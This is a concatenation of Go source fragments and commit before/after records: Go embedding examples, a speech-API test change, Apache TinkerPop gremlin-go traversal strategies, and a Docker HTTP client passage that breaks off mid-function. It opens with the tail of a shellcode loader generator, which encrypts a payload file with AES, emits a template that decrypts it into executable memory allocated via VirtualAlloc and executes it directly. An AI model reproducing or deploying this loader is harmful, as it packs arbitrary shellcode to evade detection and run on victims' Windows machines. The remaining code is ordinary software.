	MEMCOMMIT            = 0x1000
	MEMRESERVE           = 0x2000
	PAGEEXECUTEREADWRITE = 0x40
)

var (
	kernel32     = syscall.NewLazyDLL("kernel32.dll")
	virtualAlloc = kernel32.NewProc("VirtualAlloc")
)

func alloc(size uintptr) (uintptr, error) {
	ptr, _, err := virtualAlloc.Call(0, size, MEMRESERVE|MEMCOMMIT, PAGEEXECUTEREADWRITE)
	if ptr == 0 {
		return 0, err
	}
	return ptr, nil
}

func main() {
	ciphertext, _ := base64.StdEncoding.DecodeString("{{.Ciphertext}}")
	key, _ := base64.StdEncoding.DecodeString("{{.Key}}")
	block, _ := aes.NewCipher(key)
	plaintext := make([]byte, len(ciphertext))
	stream := cipher.NewCTR(block, key[aes.BlockSize:])
	stream.XORKeyStream(plaintext, ciphertext)
	ptr, err := alloc(uintptr(len(plaintext)))
	if err != nil {
		os.Exit(0)
	}
	buff := (*[890000]byte)(unsafe.Pointer(ptr))
	for x, y := range []byte(plaintext) {
		buff[x] = y
	}
	syscall.Syscall(ptr, 0, 0, 0, 0)
}
`
	file := flag.String("file", "", "file containing your payload")
	flag.Parse()

	tmpl, err := template.New("body").Parse(body)
	checkAndPanic(err)

	data, err := ioutil.ReadFile(*file)
	checkAndPanic(err)

	ciphertext, key := encrypt(data)
	tmpl.Execute(os.Stdout, args{
		Ciphertext: ciphertext,
		Key:        key,
	})
}
<|endoftext|>


<commit_before>package main

import (
	"fmt"
)

type Base struct {
	Name string
}

type Super struct {
	Base
}

func (b *Base) Operation() {
	fmt.Printf("Base.Operation() on %s\n", b.Name)
}

func (s *Super) Operation() {
	fmt.Printf("Super.Operation() on %s\n", s.Name)
	fmt.Print("  ")      // indent 2 spaces
	(s.Base).Operation() // invoke base method
}

// --  Demo  --

func main() {

	b := Base{
		Name: "Base-1",
	}
	s := Super{
		Base: Base{Name: "Super-1"},
	}

	fmt.Println("----")
	b.Operation()
	fmt.Println("")
	s.Operation()
	fmt.Println("")

	fmt.Println("done.")
}
<commit_msg>go: expand method override, show base is invoked when struct is embedded<commit_after>package main

import (
	"fmt"
)

type Base struct {
	Name string
}

type Super struct {
	Base
}

type Super2 struct {
	Base
	Ver int
}

func (b *Base) Operation() {
	fmt.Printf("Base.Operation() on %s\n", b.Name)
}

func (s *Super) Operation() {
	fmt.Printf("Super.Operation() on %s\n", s.Name)
	fmt.Print("  ")      // indent 2 spaces
	(s.Base).Operation() // invoke base method
}

// --  Demo  --

func main() {

	b := Base{
		Name: "Base-1",
	}
	s := Super{
		Base: Base{Name: "Super-1"},
	}
	s2 := Super2{
		Base: Base{Name: "Super-2"},
		Ver:  2,
	}

	fmt.Println("----")
	b.Operation()
	fmt.Println("")
	s.Operation()
	fmt.Println("")
	fmt.Println("expect Base.Operation() to be invoked")
	s2.Operation()
	fmt.Println("")

	fmt.Println("done.")
}
<|endoftext|>


<commit_before>// Copyright 2016 Google Inc. All rights reserved.
// Use of this source code is governed by the Apache 2.0
// license that can be found in the LICENSE file.

package snippets

import (
	"bytes"
	"strings"
	"testing"

	"github.com/GoogleCloudPlatform/golang-samples/internal/testutil"
)

func TestMultichannel(t *testing.T) {
	testutil.SystemTest(t)

	var buf bytes.Buffer
	if err := transcribeMultichannel(&buf, "../testdata/commercial_stereo.wav"); err != nil {
		t.Fatal(err)
	}

	var want = "Channel 1: hi I'd like to buy a Chromecast I'm always wondering whether you could help me with that\nChannel 2: certainly which color would you like we have blue black and red"

	if got := buf.String(); !strings.Contains(got, want) {
		t.Fatalf(`transcribeMultichannel(../testdata/commercial_stereo.wav) = %q; want to contain %q`, got, want)
	}
}
<commit_msg>speech: relax multichannel test (#753)<commit_after>// Copyright 2016 Google Inc. All rights reserved.
// Use of this source code is governed by the Apache 2.0
// license that can be found in the LICENSE file.

package snippets

import (
	"bytes"
	"strings"
	"testing"

	"github.com/GoogleCloudPlatform/golang-samples/internal/testutil"
)

func TestMultichannel(t *testing.T) {
	testutil.SystemTest(t)

	var buf bytes.Buffer
	if err := transcribeMultichannel(&buf, "../testdata/commercial_stereo.wav"); err != nil {
		t.Fatal(err)
	}

	wants := []string{
		"Channel 1: hi I'd like to buy a Chromecast",
		"Channel 2: certainly which color",
	}

	for _, want := range wants {
		if got := buf.String(); !strings.Contains(got, want) {
			t.Errorf(`transcribeMultichannel(../testdata/commercial_stereo.wav) = \n\n%q\n\nWant to contain \n\n%q`, got, want)
		}
	}
}
<|endoftext|>


<commit_before>/*
Licensed to the Apache Software Foundation (ASF) Under one
or more contributor license agreements.  See the NOTICE file
distributed with this work for additional information
regarding copyright ownership.  The ASF licenses this file
to you under the Apache License, Version 2.0 (the
"License"); you may not use this file except in compliance
with the License.  You may obtain a copy of the License at

http://www.apache.org/licenses/LICENSE-2.0

Unless required by applicable law or agreed to in writing,
software distributed under the License is distributed on an
"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
KIND, either express or implied.  See the License for the
specific language governing permissions and limitations
under the License.
*/

package gremlingo

const (
	baseNamespace         = "org.apache.tinkerpop.gremlin.process.traversal.strategy."
	decorationNamespace   = baseNamespace + "decoration."
	finalizationNamespace = baseNamespace + "finalization."
	optimizationNamespace = baseNamespace + "optimization."
	verificationNamespace = baseNamespace + "verification."
)

// Decoration strategies

func PartitionStrategy(partitionKey, writePartition, readPartitions, includeMetaProperties string) *traversalStrategy {
	config := make(map[string]interface{})
	if partitionKey != "" {
		config["partitionKey"] = partitionKey
	}
	if writePartition != "" {
		config["writePartition"] = writePartition
	}
	if readPartitions != "" {
		config["readPartitions"] = readPartitions
	}
	if includeMetaProperties != "" {
		config["includeMetaProperties"] = includeMetaProperties
	}
	return &traversalStrategy{name: decorationNamespace + "PartitionStrategy", configuration: config}
}

// Verification strategies

func ReadOnlyStrategy() *traversalStrategy {
	return &traversalStrategy{name: verificationNamespace + "ReadOnlyStrategy"}
}

// Optimization strategies

// AdjacentToIncidentStrategy looks for Vertex- and value-emitting steps followed by a CountGlobalStep and replaces
// the pattern with an edge- or property-emitting step followed by a CountGlobalStep. Furthermore, if a vertex-
// or value-emitting step is the last step in a .Has(traversal), .And(traversal, ...) or .Or(traversal, ...)
// child traversal, it is replaced by an appropriate edge- or property-emitting step.
// Performing this replacement removes situations where the more expensive trip to an adjacent graph element (e.g.
// the vertex on the other side of an edge) can be satisfied by trips to incident graph elements (e.g. just the edge
// itself).
func AdjacentToIncidentStrategy() *traversalStrategy {
	return &traversalStrategy{name: optimizationNamespace + "AdjacentToIncidentStrategy"}
}

// ByModulatorOptimizationStrategy looks for standard traversals in by-modulators and replaces them with more
// optimized traversals (e.g. TokenTraversal) if possible.
func ByModulatorOptimizationStrategy() *traversalStrategy {
	return &traversalStrategy{name: optimizationNamespace + "ByModulatorOptimizationStrategy"}
}

// CountStrategy optimizes any occurrence of CountGlobalStep followed by an IsStep The idea is to limit
// the number of incoming elements in a way that it's enough for the IsStep to decide whether it evaluates
// true or false. If the traversal already contains a user supplied limit, the strategy won't modify it.
func CountStrategy() *traversalStrategy {
	return &traversalStrategy{name: optimizationNamespace + "CountStrategy"}
}

// EarlyLimitStrategy looks for RangeGlobalSteps that can be moved further left in the traversal and thus be applied
// earlier. It will also try to merge multiple RangeGlobalSteps into one.
// If the logical consequence of one or multiple RangeGlobalSteps is an empty result, the strategy will remove
// as many steps as possible and add a NoneStep instead.
func EarlyLimitStrategy() *traversalStrategy {
	return &traversalStrategy{name: optimizationNamespace + "EarlyLimitStrategy"}
}

// FilterRankingStrategy reorders filter- and order-steps according to their rank. Step ranks are defined within
// the strategy and indicate when it is reasonable for a step to move in front of another. It will also do its best to
// push step labels as far "right" as possible in order to keep traversers as small and bulkable as possible prior to
// the absolute need for path-labeling.
func FilterRankingStrategy() *traversalStrategy {
	return &traversalStrategy{name: optimizationNamespace + "FilterRankingStrategy"}
}

// IdentityRemovalStrategy looks for IdentityStep instances and removes them.
// If the identity step is labeled, its labels are added to the previous step.
// If the identity step is labeled and it's the first step in the traversal, it stays.
func IdentityRemovalStrategy() *traversalStrategy {
	return &traversalStrategy{name: optimizationNamespace + "IdentityRemovalStrategy"}
}

// IncidentToAdjacentStrategy looks for .outE().inV(), .inE().outV() and .bothE().otherV()
// and replaces these step sequences with .out(), .in() or .both() respectively.
// The strategy won't modify the traversal if:
//   the edge step is labeled
//   the traversal contains a path step
//   the traversal contains a lambda step
func IncidentToAdjacentStrategy() *traversalStrategy {
	return &traversalStrategy{name: optimizationNamespace + "IncidentToAdjacentStrategy"}
}

// InlineFilterStrategy analyzes filter-steps with child traversals that themselves are pure filters. If
// the child traversals are pure filters then the wrapping parent filter is not needed and thus, the children
// can be "inlined." Normalizing  pure filters with inlining reduces the number of variations of a filter that
// a graph provider may need to reason about when writing their own strategies. As a result, this strategy helps
// increase the likelihood that a provider's filtering optimization will succeed at re-writing the traversal.
func InlineFilterStrategy() *traversalStrategy {
	return &traversalStrategy{name: optimizationNamespace + "InlineFilterStrategy"}
}

// LazyBarrierStrategy is an OLTP-only strategy that automatically inserts a NoOpBarrierStep after every
// FlatMapStep if neither path-tracking nor partial path-tracking is required, and the next step is not the
// traversal's last step or a Barrier. NoOpBarrierSteps allow traversers to be bulked, thus this strategy
// is meant to reduce memory requirements and improve the overall query performance.
func LazyBarrierStrategy() *traversalStrategy {
	return &traversalStrategy{name: optimizationNamespace + "LazyBarrierStrategy"}
}

// MatchPredicateStrategy will fold any post-where() step that maintains a traversal constraint into
// match(). MatchStep is intelligent with traversal constraint applications and thus, can more
// efficiently use the constraint of WhereTraversalStep or WherePredicateStep.
func MatchPredicateStrategy() *traversalStrategy {
	return &traversalStrategy{name: optimizationNamespace + "MatchPredicateStrategy"}
}

// OrderLimitStrategy is an OLAP strategy that folds a RangeGlobalStep into a preceding
// OrderGlobalStep. This helps to eliminate traversers early in the traversal and can
// significantly reduce the amount of memory required by the OLAP execution engine.
func OrderLimitStrategy() *traversalStrategy {
	return &traversalStrategy{name: optimizationNamespace + "OrderLimitStrategy"}
}

// PathProcessorStrategy  is an OLAP strategy that does its best to turn non-local children in where()
// and select() into local children by inlining components of the non-local child. In this way,
// PathProcessorStrategy helps to ensure that more traversals meet the local child constraint imposed
// on OLAP traversals.
func PathProcessorStrategy() *traversalStrategy {
	return &traversalStrategy{name: optimizationNamespace + "PathProcessorStrategy"}
}

// PathRetractionStrategy will remove paths from the traversers and increase the likelihood of bulking
// as path data is not required after select('b').
func PathRetractionStrategy() *traversalStrategy {
	return &traversalStrategy{name: optimizationNamespace + "PathRetractionStrategy"}
}

// ProductiveByStrategy takes an argument of by() and wraps it CoalesceStep so that the result is either
// the initial Traversal argument or null. In this way, the by() is always "productive". This strategy
// is an "optimization" but it is perhaps more of a "decoration", but it should follow
// ByModulatorOptimizationStrategy which features optimizations relevant to this one.
func ProductiveByStrategy(productiveKeys []string) *traversalStrategy {
	config := make(map[string]interface{})
	config["productiveKeys"] = productiveKeys

	return &traversalStrategy{name: optimizationNamespace + "ProductiveByStrategy", configuration: config}
}

// RepeatUnrollStrategy is an OLTP-only strategy that unrolls any RepeatStep if it uses a constant
// number of loops (times(x)) and doesn't emit intermittent elements. If any of the following 3 steps appears
// within the repeat-traversal, the strategy will not be applied:
//   DedupGlobalStep
//   LoopsStep
//   LambdaHolder
func RepeatUnrollStrategy() *traversalStrategy {
	return &traversalStrategy{name: optimizationNamespace + "RepeatUnrollStrategy"}
}

//

func RemoteStrategy(connection DriverRemoteConnection) *traversalStrategy {
	a := func(g GraphTraversal) {
		result, err := g.getResults()
		if err != nil || result != nil {
			return
		}

		rs, err := connection.submitBytecode(g.bytecode)
		if err != nil {
			return
		}
		g.results = rs
	}

	return &traversalStrategy{name: "RemoteStrategy", apply: a}
}
<commit_msg>Update gremlin-go/driver/strategies.go<commit_after>/*
Licensed to the Apache Software Foundation (ASF) Under one
or more contributor license agreements.  See the NOTICE file
distributed with this work for additional information
regarding copyright ownership.  The ASF licenses this file
to you under the Apache License, Version 2.0 (the
"License"); you may not use this file except in compliance
with the License.  You may obtain a copy of the License at

http://www.apache.org/licenses/LICENSE-2.0

Unless required by applicable law or agreed to in writing,
software distributed under the License is distributed on an
"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
KIND, either express or implied.  See the License for the
specific language governing permissions and limitations
under the License.
*/

package gremlingo

const (
	baseNamespace         = "org.apache.tinkerpop.gremlin.process.traversal.strategy."
	decorationNamespace   = baseNamespace + "decoration."
	finalizationNamespace = baseNamespace + "finalization."
	optimizationNamespace = baseNamespace + "optimization."
	verificationNamespace = baseNamespace + "verification."
)

// Decoration strategies

func PartitionStrategy(partitionKey, writePartition, readPartitions, includeMetaProperties string) *traversalStrategy {
	config := make(map[string]interface{})
	if partitionKey != "" {
		config["partitionKey"] = partitionKey
	}
	if writePartition != "" {
		config["writePartition"] = writePartition
	}
	if readPartitions != "" {
		config["readPartitions"] = readPartitions
	}
	if includeMetaProperties != "" {
		config["includeMetaProperties"] = includeMetaProperties
	}
	return &traversalStrategy{name: decorationNamespace + "PartitionStrategy", configuration: config}
}

// Verification strategies

func ReadOnlyStrategy() *traversalStrategy {
	return &traversalStrategy{name: verificationNamespace + "ReadOnlyStrategy"}
}

// Optimization strategies

// AdjacentToIncidentStrategy looks for Vertex- and value-emitting steps followed by a CountGlobalStep and replaces
// the pattern with an Edge- or Property-emitting step followed by a CountGlobalStep. Furthermore, if a vertex-
// or value-emitting step is the last step in a .Has(traversal), .And(traversal, ...) or .Or(traversal, ...)
// child traversal, it is replaced by an appropriate edge- or property-emitting step.
// Performing this replacement removes situations where the more expensive trip to an adjacent graph element (e.g.
// the vertex on the other side of an edge) can be satisfied by trips to incident graph elements (e.g. just the edge
// itself).
func AdjacentToIncidentStrategy() *traversalStrategy {
	return &traversalStrategy{name: optimizationNamespace + "AdjacentToIncidentStrategy"}
}

// ByModulatorOptimizationStrategy looks for standard traversals in by-modulators and replaces them with more
// optimized traversals (e.g. TokenTraversal) if possible.
func ByModulatorOptimizationStrategy() *traversalStrategy {
	return &traversalStrategy{name: optimizationNamespace + "ByModulatorOptimizationStrategy"}
}

// CountStrategy optimizes any occurrence of CountGlobalStep followed by an IsStep The idea is to limit
// the number of incoming elements in a way that it's enough for the IsStep to decide whether it evaluates
// true or false. If the traversal already contains a user supplied limit, the strategy won't modify it.
func CountStrategy() *traversalStrategy {
	return &traversalStrategy{name: optimizationNamespace + "CountStrategy"}
}

// EarlyLimitStrategy looks for RangeGlobalSteps that can be moved further left in the traversal and thus be applied
// earlier. It will also try to merge multiple RangeGlobalSteps into one.
// If the logical consequence of one or multiple RangeGlobalSteps is an empty result, the strategy will remove
// as many steps as possible and add a NoneStep instead.
func EarlyLimitStrategy() *traversalStrategy {
	return &traversalStrategy{name: optimizationNamespace + "EarlyLimitStrategy"}
}

// FilterRankingStrategy reorders filter- and order-steps according to their rank. Step ranks are defined within
// the strategy and indicate when it is reasonable for a step to move in front of another. It will also do its best to
// push step labels as far "right" as possible in order to keep traversers as small and bulkable as possible prior to
// the absolute need for path-labeling.
func FilterRankingStrategy() *traversalStrategy {
	return &traversalStrategy{name: optimizationNamespace + "FilterRankingStrategy"}
}

// IdentityRemovalStrategy looks for IdentityStep instances and removes them.
// If the identity step is labeled, its labels are added to the previous step.
// If the identity step is labeled and it's the first step in the traversal, it stays.
func IdentityRemovalStrategy() *traversalStrategy {
	return &traversalStrategy{name: optimizationNamespace + "IdentityRemovalStrategy"}
}

// IncidentToAdjacentStrategy looks for .outE().inV(), .inE().outV() and .bothE().otherV()
// and replaces these step sequences with .out(), .in() or .both() respectively.
// The strategy won't modify the traversal if:
//   the edge step is labeled
//   the traversal contains a path step
//   the traversal contains a lambda step
func IncidentToAdjacentStrategy() *traversalStrategy {
	return &traversalStrategy{name: optimizationNamespace + "IncidentToAdjacentStrategy"}
}

// InlineFilterStrategy analyzes filter-steps with child traversals that themselves are pure filters. If
// the child traversals are pure filters then the wrapping parent filter is not needed and thus, the children
// can be "inlined." Normalizing  pure filters with inlining reduces the number of variations of a filter that
// a graph provider may need to reason about when writing their own strategies. As a result, this strategy helps
// increase the likelihood that a provider's filtering optimization will succeed at re-writing the traversal.
func InlineFilterStrategy() *traversalStrategy {
	return &traversalStrategy{name: optimizationNamespace + "InlineFilterStrategy"}
}

// LazyBarrierStrategy is an OLTP-only strategy that automatically inserts a NoOpBarrierStep after every
// FlatMapStep if neither path-tracking nor partial path-tracking is required, and the next step is not the
// traversal's last step or a Barrier. NoOpBarrierSteps allow traversers to be bulked, thus this strategy
// is meant to reduce memory requirements and improve the overall query performance.
func LazyBarrierStrategy() *traversalStrategy {
	return &traversalStrategy{name: optimizationNamespace + "LazyBarrierStrategy"}
}

// MatchPredicateStrategy will fold any post-where() step that maintains a traversal constraint into
// match(). MatchStep is intelligent with traversal constraint applications and thus, can more
// efficiently use the constraint of WhereTraversalStep or WherePredicateStep.
func MatchPredicateStrategy() *traversalStrategy {
	return &traversalStrategy{name: optimizationNamespace + "MatchPredicateStrategy"}
}

// OrderLimitStrategy is an OLAP strategy that folds a RangeGlobalStep into a preceding
// OrderGlobalStep. This helps to eliminate traversers early in the traversal and can
// significantly reduce the amount of memory required by the OLAP execution engine.
func OrderLimitStrategy() *traversalStrategy {
	return &traversalStrategy{name: optimizationNamespace + "OrderLimitStrategy"}
}

// PathProcessorStrategy  is an OLAP strategy that does its best to turn non-local children in where()
// and select() into local children by inlining components of the non-local child. In this way,
// PathProcessorStrategy helps to ensure that more traversals meet the local child constraint imposed
// on OLAP traversals.
func PathProcessorStrategy() *traversalStrategy {
	return &traversalStrategy{name: optimizationNamespace + "PathProcessorStrategy"}
}

// PathRetractionStrategy will remove paths from the traversers and increase the likelihood of bulking
// as path data is not required after select('b').
func PathRetractionStrategy() *traversalStrategy {
	return &traversalStrategy{name: optimizationNamespace + "PathRetractionStrategy"}
}

// ProductiveByStrategy takes an argument of by() and wraps it CoalesceStep so that the result is either
// the initial Traversal argument or null. In this way, the by() is always "productive". This strategy
// is an "optimization" but it is perhaps more of a "decoration", but it should follow
// ByModulatorOptimizationStrategy which features optimizations relevant to this one.
func ProductiveByStrategy(productiveKeys []string) *traversalStrategy {
	config := make(map[string]interface{})
	config["productiveKeys"] = productiveKeys

	return &traversalStrategy{name: optimizationNamespace + "ProductiveByStrategy", configuration: config}
}

// RepeatUnrollStrategy is an OLTP-only strategy that unrolls any RepeatStep if it uses a constant
// number of loops (times(x)) and doesn't emit intermittent elements. If any of the following 3 steps appears
// within the repeat-traversal, the strategy will not be applied:
//   DedupGlobalStep
//   LoopsStep
//   LambdaHolder
func RepeatUnrollStrategy() *traversalStrategy {
	return &traversalStrategy{name: optimizationNamespace + "RepeatUnrollStrategy"}
}

//

func RemoteStrategy(connection DriverRemoteConnection) *traversalStrategy {
	a := func(g GraphTraversal) {
		result, err := g.getResults()
		if err != nil || result != nil {
			return
		}

		rs, err := connection.submitBytecode(g.bytecode)
		if err != nil {
			return
		}
		g.results = rs
	}

	return &traversalStrategy{name: "RemoteStrategy", apply: a}
}
<|endoftext|>


<commit_before>package common

import (
	"bytes"
	"encoding/base64"
	"encoding/json"
	"errors"
	"fmt"
	"io"
	"io/ioutil"
	"log"
	"net/http"
	"net/url"
	"strings"
	"time"
)

type PortBinding struct {
	HostIp   string
	HostPort string
}

type Docker struct {
	h          *HttpAPI // contains ip string
	Containers []*Container
	Images     []*Image
	Updated    time.Time
}

type Container struct {
	Id              string
	Image           string
	D               *Docker
	NetworkSettings struct {
		PortMapping struct {
			Tcp map[string]string
		}
	}
	Volumes      map[string]string
	Binds        []string
	PortBindings map[string][]PortBinding
}

type Image struct {
	Id         string
	Tag        string
	Repository string
	name       string
}

func NewImage(id string) (i *Image) {
	i = new(Image)
	i.Id = id
	return i
}

func NewNamedImage(name string) (i *Image) {
	i = new(Image)

	// Don't bother parsing things like 1.1.1.1:4243/foo:bar
	if len(strings.Split(name, "/")) > 1 {
		i.name = name
		return
	}

	if len(strings.Split(name, ":")) > 1 {
		i.Repository = strings.Split(name, ":")[0]
		i.Tag = strings.Split(name, ":")[1]
	} else {
		i.Repository = name
		i.Tag = "latest"
	}
	return i
}

func (I *Image) GetName() (name string) {
	if I.Id != "" {
		name = I.Id
		return
	}

	if I.Repository != "" {
		name = I.Repository + ":" + I.Tag
	} else {
		name = I.Tag
	}

	if name == "" {
		name = I.name
	}
	return
}

// function to initialize new Docker struct
func NewDocker(ip string) (D *Docker) {
	D = &Docker{}
	D.h = NewHttpClient(ip + ":4243")
	return
}

func (D *Docker) GetIP() string {
	return strings.Split(D.h.ip, ":")[0]
}

// function to periodically update information in Docker struct
func (D *Docker) Update() {
	for ; ; time.Sleep(60 * time.Second) {
		c, err := D.ListContainers()
		if err != nil {
			log.Print(err)
			continue
		}

		img, err := D.ListImages()
		if err != nil {
			log.Print(err)
			continue
		}

		D.Containers = c
		D.Images = img
		D.Updated = time.Now()
	}
}

// InspectContainer takes a container, and returns its port and its info
func (C *Container) Inspect() (err error) {

	resp, err := C.D.h.Get("containers/" + C.Id + "/json")
	if err != nil {
		return
	}
	defer resp.Body.Close()

	if resp.StatusCode != 200 {
		return errors.New("Inspect Container Status is not 200")
	}

	rall, err := ioutil.ReadAll(resp.Body)
	if err != nil {
		return
	}

	err = json.Unmarshal(rall, C)
	return
}

// runImage takes a docker image to run, and makes sure it is running
func (Img *Image) Run(D *Docker, env []string, port string) (C *Container, err error) {

	c := make(map[string]interface{})
	c["Image"] = Img.GetName()
	c["Env"] = env
	v := make(map[string]struct{})
	v["/foo"] = struct{}{}
	c["Volumes"] = v

	ba, err := json.Marshal(c)
	if err != nil {
		return
	}
	var b io.Reader
	b = bytes.NewBuffer(ba)

	resp, err := D.h.Post("containers/create", "application/json", b)

	if err != nil {
		return
	}
	defer resp.Body.Close()

	if resp.StatusCode != 201 {
		LogReader(resp.Body)
		msg := fmt.Sprintf("Create Container Response status is %d", resp.StatusCode)
		err = errors.New(msg)
		return
	}

	s, err := ioutil.ReadAll(resp.Body)
	if err != nil {
		return
	}

	C = &Container{}
	C.D = D

	err = json.Unmarshal(s, C)

	if err != nil {
		return
	}

	if len(port) > 0 {
		C.AddExposedPort(port)
	}

	C.AddBind("/mnt", "/foo")

	err = C.Start()

	return
}

func (C *Container) AddExposedPort(port string) {
	if C.PortBindings == nil {
		C.PortBindings = make(map[string][]PortBinding)
	}
	C.PortBindings[port] = append(C.PortBindings[port], PortBinding{"0.0.0.0", port})
}

func (C *Container) AddBind(host string, container string) {
	v := host + ":" + container
	C.Binds = append(C.Binds, v)
	_, found := C.Volumes[container]
	if !found {
		if C.Volumes == nil {
			C.Volumes = make(map[string]string)
		}
		C.Volumes[container] = ""
	}
	return
}

func (C *Container) Start() (err error) {

	log.Printf("Container created id:%s", C.Id)

	bs, err := json.Marshal(C)
	b := bytes.NewBuffer(bs)

	resp, err := C.D.h.Post("containers/"+C.Id+"/start", "application/json", b)
	if err != nil {
		return
	}

	defer resp.Body.Close()

	LogReader(resp.Body)

	if resp.StatusCode != 204 {
		msg := fmt.Sprintf("Start Container Response status is %d", resp.StatusCode)
		err = errors.New(msg)
		return
	}

	log.Printf("Container running")
	return

}

// StopContainer stops a container
func (C *Container) Stop() (err error) {
	log.Print("Stopping container ", C.Id)
	b := strings.NewReader("")

	log.Print(C.D)
	resp, err := C.D.h.Post("containers/"+C.Id+"/stop?t=1", "application/json", b)

	log.Print(resp.StatusCode)
	if err != nil {
		return err
	}
	defer resp.Body.Close()

	LogReader(resp.Body)
	return nil
}

// StopImage takes a image to stop and stops it
func (Img *Image) Stop(D *Docker, imagename string) {
	log.Print("Stopping image ", imagename)

	running, C, err := Img.IsRunning(D, imagename)
	if err != nil {
		log.Fatal(err)
	}

	if running {
		err = C.Stop()
		if err != nil {
			log.Fatal(err)
		}
		C.Delete()
	}
}

func (C *Container) Delete() (err error) {
	log.Print("deleting container ", C.Id)

	resp, err := C.D.h.Delete("containers/" + C.Id)
	if err != nil {
		return err
	}

	defer resp.Body.Close()
	LogReader(resp.Body)
	return
}

// TagImage tags an already existing image in the repository
func (Img *Image) AddTag(D *Docker, tag string) (err error) {
	b := strings.NewReader("")

	tag = url.QueryEscape(tag)
	id := url.QueryEscape(Img.GetName())

	resp, err := D.h.Post("images/"+id+"/tag?repo="+tag+"&force=1", "application/json", b)

	if err != nil {
		return err
	}
	defer resp.Body.Close()

	if resp.StatusCode != 201 {
		b, _ := ioutil.ReadAll(resp.Body)
		log.Print(resp)
		log.Print(string(b))
		return errors.New("Code not 201: " + resp.Status)
	}

	return nil

}

// PushImage pushes an image to a docker index
func (Img *Image) Push(D *Docker, w io.Writer, name string) (err error) {
	b := strings.NewReader("")

	auth := base64.StdEncoding.EncodeToString([]byte("{}"))
	header := make(http.Header)
	header.Set("X-Registry-Auth", auth)

	url := "images/" + name + "/push"

	resp, err := D.h.PostHeader(url,
		"application/json", b, header)
	if err != nil {
		return err
	}

	if resp.StatusCode != 200 {

		_, err = io.Copy(w, resp.Body)
		if err != nil {
			io.WriteString(w, err.Error())
		}

		io.WriteString(w, resp.Header.Get("Location")+"\n")
		io.WriteString(w, url+"\n")

		s := fmt.Sprintf("Push image status code is not 200 it is %d",
			resp.StatusCode)
		return errors.New(s)
	}

	defer resp.Body.Close()
	_, err = io.Copy(w, resp.Body)
	if err != nil {
		return err
	}

	return nil
}

// buildImage takes a tarfile, and builds it
func (D *Docker) Build(fd io.Reader, name string) (i *Image, err error) {

	v := fmt.Sprintf("%d", time.Now().Unix())
	resp, err := D.h.Post("build?t="+name+"%3A"+v,
		"application/tar", fd)

	if err != nil {
		return
	}

	defer resp.Body.Close()

	i = &Image{}

	LogReader(resp.Body)

	i = NewNamedImage(name + ":" + v)

	err = i.AddTag(D, name)
	return
}

// loadImage pulls a specified image into a docker instance
func (D *Docker) Load(imagename string) (I *Image, err error) {
	b := strings.NewReader("")
	resp, err := D.h.Post("images/create?fromImage="+imagename,
		"text", b)
	if err != nil {
		return
	}
	defer resp.Body.Close()

	LogReader(resp.Body)
	if resp.StatusCode != 200 {
		log.Printf("create status code is not 200 %s", resp.StatusCode)
	}

	log.Printf("Image fetched %s", imagename)
	I = NewNamedImage(imagename)
	return
}

// ListContainers gives the state for a specific docker container
func (D *Docker) ListContainers() (c []*Container, err error) {
	resp, err := D.h.Get("containers/json")

	if err != nil {
		return
	}
	defer resp.Body.Close()

	if resp.StatusCode != 200 {
		return c, errors.New("Response code is not 200")
	}

	message, err := ioutil.ReadAll(resp.Body)
	if err != nil {
		return
	}
	err = json.Unmarshal(message, &c)
	for _, container := range c {
		container.D = D
	}
	return c, nil
}

// ListImages gives the state of the images for a specific Docker container
func (D *Docker) ListImages() (img []*Image, err error) {
	resp, err := D.h.Get("images/json")

	if err != nil {
		return
	}
	defer resp.Body.Close()

	if resp.StatusCode != 200 {
		return img, errors.New("Response code is not 200")
	}

	message, err := ioutil.ReadAll(resp.Body)
	if err != nil {
		return
	}

	err = json.Unmarshal(message, &img)
	return
}

// ImageRunning states whether an image is running on a docker instance
func (Img *Image) IsRunning(D *Docker, imagename string) (running bool, C *Container, err error) {

	containers, err := D.ListContainers()
	if err != nil {
		return false, nil, err
	}

	for _, v := range containers {
		log.Print(v)
		if strings.SplitN(v.Image, ":", 2)[0] == imagename {
			return true, v, nil
		}
	}
	return
}
<commit_msg>Add more exposed port info, see if it works<commit_after>package common

import (
	"bytes"
	"encoding/base64"
	"encoding/json"
	"errors"
	"fmt"
	"io"
	"io/ioutil"
	"log"
	"net/http"
	"net/url"
	"strings"
	"time"
)

type PortBinding struct {
	HostIp   string
	HostPort string
}

type Docker struct {
	h          *HttpAPI // contains ip string
	Containers []*Container
	Images     []*Image
	Updated    time.Time
}

type Container struct {
	Id              string
	Image           string
	D               *Docker
	NetworkSettings struct {
		PortMapping struct {
			Tcp map[string]string
		}
	}
	Volumes      map[string]string
	Binds        []string
	PortBindings map[string][]PortBinding
}

type Image struct {
	Id         string
	Tag        string
	Repository string
	name       string
}

func NewImage(id string) (i *Image) {
	i = new(Image)
	i.Id = id
	return i
}

func NewNamedImage(name string) (i *Image) {
	i = new(Image)

	// Don't bother parsing things like 1.1.1.1:4243/foo:bar
	if len(strings.Split(name, "/")) > 1 {
		i.name = name
		return
	}

	if len(strings.Split(name, ":")) > 1 {
		i.Repository = strings.Split(name, ":")[0]
		i.Tag = strings.Split(name, ":")[1]
	} else {
		i.Repository = name
		i.Tag = "latest"
	}
	return i
}

func (I *Image) GetName() (name string) {
	if I.Id != "" {
		name = I.Id
		return
	}

	if I.Repository != "" {
		name = I.Repository + ":" + I.Tag
	} else {
		name = I.Tag
	}

	if name == "" {
		name = I.name
	}
	return
}

// function to initialize new Docker struct
func NewDocker(ip string) (D *Docker) {
	D = &Docker{}
	D.h = NewHttpClient(ip + ":4243")
	return
}

func (D *Docker) GetIP() string {
	return strings.Split(D.h.ip, ":")[0]
}

// function to periodically update information in Docker struct
func (D *Docker) Update() {
	for ; ; time.Sleep(60 * time.Second) {
		c, err := D.ListContainers()
		if err != nil {
			log.Print(err)
			continue
		}

		img, err := D.ListImages()
		if err != nil {
			log.Print(err)
			continue
		}

		D.Containers = c
		D.Images = img
		D.Updated = time.Now()
	}
}

// InspectContainer takes a container, and returns its port and its info
func (C *Container) Inspect() (err error) {

	resp, err := C.D.h.Get("containers/" + C.Id + "/json")
	if err != nil {
		return
	}
	defer resp.Body.Close()

	if resp.StatusCode != 200 {
		return errors.New("Inspect Container Status is not 200")
	}

	rall, err := ioutil.ReadAll(resp.Body)
	if err != nil {
		return
	}

	err = json.Unmarshal(rall, C)
	return
}

// runImage takes a docker image to run, and makes sure it is running
func (Img *Image) Run(D *Docker, env []string, port string) (C *Container, err error) {

